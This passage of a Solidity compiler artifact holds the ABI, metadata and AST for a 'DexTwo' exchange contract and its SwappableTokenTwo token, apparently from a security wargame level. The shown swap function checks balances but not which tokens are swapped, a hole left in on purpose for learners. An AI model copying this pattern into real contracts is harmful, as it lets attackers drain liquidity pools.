pe":"function","name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"approve"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"stateMutability":"view","type":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"name","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"allowance(address,address)":{"details":"See {IERC20-allowance}."},"approve(address,uint256)":{"details":"See {IERC20-approve}. NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on `transferFrom`. This is semantically equivalent to an infinite approval. Requirements: - `spender` cannot be the zero address."},"balanceOf(address)":{"details":"See {IERC20-balanceOf}."},"decimals()":{"details":"Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5.05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}."},"decreaseAllowance(address,uint256)":{"details":"Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`."},"increaseAllowance(address,uint256)":{"details":"Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address."},"name()":{"details":"Returns the name of the token."},"symbol()":{"details":"Returns the symbol of the token, usually a shorter version of the name."},"totalSupply()":{"details":"See {IERC20-totalSupply}."},"transfer(address,uint256)":{"details":"See {IERC20-transfer}. Requirements: - `to` cannot be the zero address. - the caller must have a balance of at least `amount`."},"transferFrom(address,address,uint256)":{"details":"See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. NOTE: Does not update the allowance if the current allowance is the maximum `uint256`. Requirements: - `from` and `to` cannot be the zero address. - `from` must have a balance of at least `amount`. - the caller must have allowance for ``from``'s tokens of at least `amount`."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/DexTwo.sol":"SwappableTokenTwo"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/DexTwo.sol":{"keccak256":"0xeffc9f6006e26bd2ce1e6816206f515b65726c131439751db3636dd8886d6d5e","urls":["bzz-raw://871623804cf6467cf51bb241e523472e6cea91a6ce400658adc218cffbfe2b38","dweb:/ipfs/QmUjenKKbWtidbvdp8xFBeVH15NTxXKEnnC8ke3L78c1P7"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/DexTwo.sol","id":51282,"exportedSymbols":{"Context":[48281],"DexTwo":[51225],"ERC20":[47861],"IERC20":[47939],"IERC20Metadata":[47964],"Ownable":[46700],"SwappableTokenTwo":[51281]},"nodeType":"SourceUnit","src":"32:2065:69","nodes":[{"id":51021,"nodeType":"PragmaDirective","src":"32:23:69","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":51022,"nodeType":"ImportDirective","src":"57:58:69","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol","file":"openzeppelin-contracts-08/token/ERC20/IERC20.sol","nameLocation":"-1:-1:-1","scope":51282,"sourceUnit":47940,"symbolAliases":[],"unitAlias":""},{"id":51023,"nodeType":"ImportDirective","src":"116:57:69","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol","file":"openzeppelin-contracts-08/token/ERC20/ERC20.sol","nameLocation":"-1:-1:-1","scope":51282,"sourceUnit":47862,"symbolAliases":[],"unitAlias":""},{"id":51024,"nodeType":"ImportDirective","src":"174:54:69","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","file":"openzeppelin-contracts-08/access/Ownable.sol","nameLocation":"-1:-1:-1","scope":51282,"sourceUnit":46701,"symbolAliases":[],"unitAlias":""},{"id":51225,"nodeType":"ContractDefinition","src":"230:1402:69","nodes":[{"id":51028,"nodeType":"VariableDeclaration","src":"263:21:69","nodes":[],"constant":false,"functionSelector":"d21220a7","mutability":"mutable","name":"token1","nameLocation":"278:6:69","scope":51225,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51027,"name":"address","nodeType":"ElementaryTypeName","src":"263:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51030,"nodeType":"VariableDeclaration","src":"290:21:69","nodes":[],"constant":false,"functionSelector":"25be124e","mutability":"mutable","name":"token2","nameLocation":"305:6:69","scope":51225,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51029,"name":"address","nodeType":"ElementaryTypeName","src":"290:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51034,"nodeType":"FunctionDefinition","src":"318:16:69","nodes":[],"body":{"id":51033,"nodeType":"Block","src":"332:2:69","nodes":[],"statements":[]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":51031,"nodeType":"ParameterList","parameters":[],"src":"329:2:69"},"returnParameters":{"id":51032,"nodeType":"ParameterList","parameters":[],"src":"332:0:69"},"scope":51225,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51052,"nodeType":"FunctionDefinition","src":"340:129:69","nodes":[],"body":{"id":51051,"nodeType":"Block","src":"410:59:69","nodes":[],"statements":[{"expression":{"id":51045,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51043,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51028,"src":"420:6:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51044,"name":"_token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51036,"src":"429:7:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"420:16:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51046,"nodeType":"ExpressionStatement","src":"420:16:69"},{"expression":{"id":51049,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51047,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51030,"src":"446:6:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51048,"name":"_token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51038,"src":"455:7:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"446:16:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51050,"nodeType":"ExpressionStatement","src":"446:16:69"}]},"functionSelector":"cbc7854e","implemented":true,"kind":"function","modifiers":[{"id":51041,"kind":"modifierInvocation","modifierName":{"id":51040,"name":"onlyOwner","nameLocations":["400:9:69"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"400:9:69"},"nodeType":"ModifierInvocation","src":"400:9:69"}],"name":"setTokens","nameLocation":"349:9:69","parameters":{"id":51039,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51036,"mutability":"mutable","name":"_token1","nameLocation":"367:7:69","nodeType":"VariableDeclaration","scope":51052,"src":"359:15:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51035,"name":"address","nodeType":"ElementaryTypeName","src":"359:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51038,"mutability":"mutable","name":"_token2","nameLocation":"384:7:69","nodeType":"VariableDeclaration","scope":51052,"src":"376:15:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51037,"name":"address","nodeType":"ElementaryTypeName","src":"376:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"358:34:69"},"returnParameters":{"id":51042,"nodeType":"ParameterList","parameters":[],"src":"410:0:69"},"scope":51225,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51075,"nodeType":"FunctionDefinition","src":"475:165:69","nodes":[],"body":{"id":51074,"nodeType":"Block","src":"554:86:69","nodes":[],"statements":[{"expression":{"arguments":[{"expression":{"id":51065,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"599:3:69","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51066,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"603:6:69","memberName":"sender","nodeType":"MemberAccess","src":"599:10:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":51069,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"619:4:69","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}],"id":51068,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"611:7:69","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51067,"name":"address","nodeType":"ElementaryTypeName","src":"611:7:69","typeDescriptions":{}}},"id":51070,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"611:13:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51071,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51056,"src":"626:6:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":51062,"name":"token_address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51054,"src":"571:13:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51061,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"564:6:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51063,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"564:21:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51064,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"586:12:69","memberName":"transferFrom","nodeType":"MemberAccess","referencedDeclaration":47938,"src":"564:34:69","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,address,uint256) external returns (bool)"}},"id":51072,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"564:69:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51073,"nodeType":"ExpressionStatement","src":"564:69:69"}]},"functionSelector":"264e8893","implemented":true,"kind":"function","modifiers":[{"id":51059,"kind":"modifierInvocation","modifierName":{"id":51058,"name":"onlyOwner","nameLocations":["544:9:69"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"544:9:69"},"nodeType":"ModifierInvocation","src":"544:9:69"}],"name":"add_liquidity","nameLocation":"484:13:69","parameters":{"id":51057,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51054,"mutability":"mutable","name":"token_address","nameLocation":"506:13:69","nodeType":"VariableDeclaration","scope":51075,"src":"498:21:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51053,"name":"address","nodeType":"ElementaryTypeName","src":"498:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51056,"mutability":"mutable","name":"amount","nameLocation":"529:6:69","nodeType":"VariableDeclaration","scope":51075,"src":"521:14:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51055,"name":"uint256","nodeType":"ElementaryTypeName","src":"521:7:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"497:39:69"},"returnParameters":{"id":51060,"nodeType":"ParameterList","parameters":[],"src":"554:0:69"},"scope":51225,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51143,"nodeType":"FunctionDefinition","src":"646:414:69","nodes":[],"body":{"id":51142,"nodeType":"Block","src":"709:351:69","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":51093,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"expression":{"id":51089,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"750:3:69","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51090,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"754:6:69","memberName":"sender","nodeType":"MemberAccess","src":"750:10:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"id":51086,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51077,"src":"734:4:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51085,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"727:6:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51087,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"727:12:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51088,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"740:9:69","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"727:22:69","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51091,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"727:34:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":51092,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51081,"src":"765:6:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"727:44:69","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f7420656e6f75676820746f2073776170","id":51094,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"773:20:69","typeDescriptions":{"typeIdentifier":"t_stringliteral_68246103c1af9f868e02771dfde8a2d9eada4e23252186e1bbb1f04b5d2267cc","typeString":"literal_string \"Not enough to swap\""},"value":"Not enough to swap"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_68246103c1af9f868e02771dfde8a2d9eada4e23252186e1bbb1f04b5d2267cc","typeString":"literal_string \"Not enough to swap\""}],"id":51084,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"719:7:69","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51095,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"719:75:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51096,"nodeType":"ExpressionStatement","src":"719:75:69"},{"assignments":[51098],"declarations":[{"constant":false,"id":51098,"mutability":"mutable","name":"swapAmount","nameLocation":"812:10:69","nodeType":"VariableDeclaration","scope":51142,"src":"804:18:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51097,"name":"uint256","nodeType":"ElementaryTypeName","src":"804:7:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":51104,"initialValue":{"arguments":[{"id":51100,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51077,"src":"839:4:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51101,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51079,"src":"845:2:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51102,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51081,"src":"849:6:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":51099,"name":"getSwapAmount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51179,"src":"825:13:69","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$_t_address_$_t_uint256_$returns$_t_uint256_$","typeString":"function (address,address,uint256) view returns (uint256)"}},"id":51103,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"825:31:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"804:52:69"},{"expression":{"arguments":[{"expression":{"id":51109,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"892:3:69","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51110,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"896:6:69","memberName":"sender","nodeType":"MemberAccess","src":"892:10:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":51113,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"912:4:69","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}],"id":51112,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"904:7:69","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51111,"name":"address","nodeType":"ElementaryTypeName","src":"904:7:69","typeDescriptions":{}}},"id":51114,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"904:13:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51115,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51081,"src":"919:6:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":51106,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51077,"src":"873:4:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51105,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"866:6:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51107,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"866:12:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51108,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"879:12:69","memberName":"transferFrom","nodeType":"MemberAccess","referencedDeclaration":47938,"src":"866:25:69","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,address,uint256) external returns (bool)"}},"id":51116,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"866:60:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51117,"nodeType":"ExpressionStatement","src":"866:60:69"},{"expression":{"arguments":[{"arguments":[{"id":51124,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"963:4:69","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}],"id":51123,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"955:7:69","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51122,"name":"address","nodeType":"ElementaryTypeName","src":"955:7:69","typeDescriptions":{}}},"id":51125,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"955:13:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51126,"name":"swapAmount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51098,"src":"970:10:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":51119,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51079,"src":"943:2:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51118,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"936:6:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51120,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"936:10:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51121,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"947:7:69","memberName":"approve","nodeType":"MemberAccess","referencedDeclaration":47926,"src":"936:18:69","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns 